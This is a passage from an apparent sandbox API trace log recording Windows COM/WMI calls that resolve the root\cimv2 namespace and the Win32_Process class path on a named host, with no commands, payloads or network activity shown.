Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0077.426] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbf40, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0077.426] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbf40, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bfa83f0) returned 0x0 [0077.426] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa83f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0077.426] WbemDefPath:IUnknown:Release (This=0x1bfa83f0) returned 0x3 [0077.427] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0077.427] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0077.427] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbf40, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0077.427] WbemDefPath:IUnknown:Release (This=0x1bfbbf40) returned 0x2 [0077.427] WbemDefPath:IUnknown:Release (This=0x1bfbbf40) returned 0x1 [0077.427] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0077.427] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0077.427] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbf40, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bfbbf40) returned 0x0 [0077.427] WbemDefPath:IUnknown:AddRef (This=0x1bfbbf40) returned 0x3 [0077.427] WbemDefPath:IUnknown:Release (This=0x1bfbbf40) returned 0x2 [0077.427] WbemDefPath:IWbemPath:SetText (This=0x1bfbbf40, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0077.427] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbbe80, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0077.427] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbbf40, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0077.427] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbf40, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0077.427] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbf40, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0077.427] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bfbbe80) returned 0x0 [0077.427] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbbf40, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0077.427] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbbf40, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0077.427] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbbf40, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0077.427] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bfbbe80, uIndex=0x0, pszName="ROOT") returned 0x0 [0077.428] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbbf40, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0077.428] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbbf40, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0077.428] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bfbbe80, uIndex=0x1, pszName="CIMV2") returned 0x0 [0077.428] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bfbbe80, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0077.428] WbemDefPath:IWbemPath:SetClassName (This=0x1bfbbe80, Name="Win32_Process") returned 0x0 [0077.428] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbbe80, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0077.428] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbbe80, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0077.428] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbe80, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0077.428] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbe80, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0077.428] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbbe80, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0077.428] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbbe80, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0077.428] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbe80, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0077.428] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbe80, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0077.428] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbbc40, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0077.428] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbc40, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0077.428] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbc40, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0077.428] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbe80, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0077.428] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbe80, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0077.428] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0077.429] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0077.429] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0077.429] IUnknown:Release (This=0x111f638) returned 0x1 [0077.431] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1bfa8650) returned 0x0 [0077.431] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa8650, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0077.431] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa8650, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bfbc000) returned 0x0 [0077.431] WbemDefPath:IUnknown:Release (This=0x1bfa8650) returned 0x0 [0077.431] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc000, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bfbc000) returned 0x0 [0077.431] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc000, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0077.431] WbemDefPath:IUnknown:AddRef (This=0x1bfbc000) returned 0x3 [0077.431] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc000, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0077.431] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc000, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0077.431] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc000, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1bfa8690) returned 0x0 [0077.432] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa8690, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0077.432] WbemDefPath:IUnknown:Release (This=0x1bfa8690) returned 0x3 [0077.432] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0077.432] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0077.432] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc000, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0077.432] WbemDefPath:IUnknown:Release (This=0x1bfbc000) returned 0x2 [0077.432] WbemDefPath:IUnknown:Release (This=0x1bfbc000) returned 0x1 [0077.432] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0077.432] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0077.432] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc000, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bfbc000) returned 0x0 [0077.432] WbemDefPath:IUnknown:AddRef (This=0x1bfbc000) returned 0x3 [0077.432] WbemDefPath:IUnknown:Release (This=0x1bfbc000) returned 0x2 [0077.432] WbemDefPath:IWbemPath:SetText (This=0x1bfbc000, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0077.432] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbbc40, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0077.432] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbc40, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0077.432] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbc40, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0077.432] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0077.432] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0077.433] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0077.433] IUnknown:Release (This=0x111f638) returned 0x1 [0077.434] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bfa86d0) returned 0x0 [0077.435] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa86d0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0077.435] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa86d0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bfbc0c0) returned 0x0 [0077.435] WbemDefPath:IUnknown:Release (This=0x1bfa86d0) returned 0x0 [0077.435] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc0c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bfbc0c0) returned 0x0 [0077.435] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc0c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0077.435] WbemDefPath:IUnknown:AddRef (This=0x1bfbc0c0) returned 0x3 [0077.435] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc0c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0077.435] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc0c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0077.435] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc0c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bfa8710) returned 0x0 [0077.435] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa8710, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0077.435] WbemDefPath:IUnknown:Release (This=0x1bfa8710) returned 0x3 [0077.436] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0077.436] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0077.436] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc0c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0077.436] WbemDefPath:IUnknown:Release (This=0x1bfbc0c0) returned 0x2 [0077.436] WbemDefPath:IUnknown:Release (This=0x1bfbc0c0) returned 0x1 [0077.436] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0077.436] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0077.436] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc0c0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bfbc0c0) returned 0x0 [0077.436] WbemDefPath:IUnknown:AddRef (This=0x1bfbc0c0) returned 0x3 [0077.436] WbemDefPath:IUnknown:Release (This=0x1bfbc0c0) returned 0x2 [0077.436] WbemDefPath:IWbemPath:SetText (This=0x1bfbc0c0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0077.436] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc000, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0077.436] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc0c0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0077.436] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc0c0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0077.436] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc0c0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0077.436] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bfbc000) returned 0x0 [0077.436] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc0c0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0077.436] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbc0c0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0077.436] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbc0c0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0077.436] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bfbc000, uIndex=0x0, pszName="root") returned 0x0 [0077.436] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbc0c0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0077.437] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbc0c0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0077.437] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bfbc000, uIndex=0x1, pszName="cimv2") returned 0x0 [0077.437] WbemDefPath:IWbemPath:GetServer (in: This=0x1bfbc0c0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0077.437] WbemDefPath:IWbemPath:GetServer (in: This=0x1bfbc0c0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0077.437] WbemDefPath:IWbemPath:GetServer (in: This=0x1bfbc000, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0077.437] WbemDefPath:IWbemPath:GetServer (in: This=0x1bfbc000, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0077.437] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbc000, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0077.437] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbbc40, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0077.437] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbc40, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0077.437] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbc40, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0077.437] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbbc40, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0077.437] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbc40, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0077.437] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbc40, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0077.437] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc000, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0077.437] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc000, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0077.437] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc000, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0077.437] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc000, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0077.437] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc000, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: 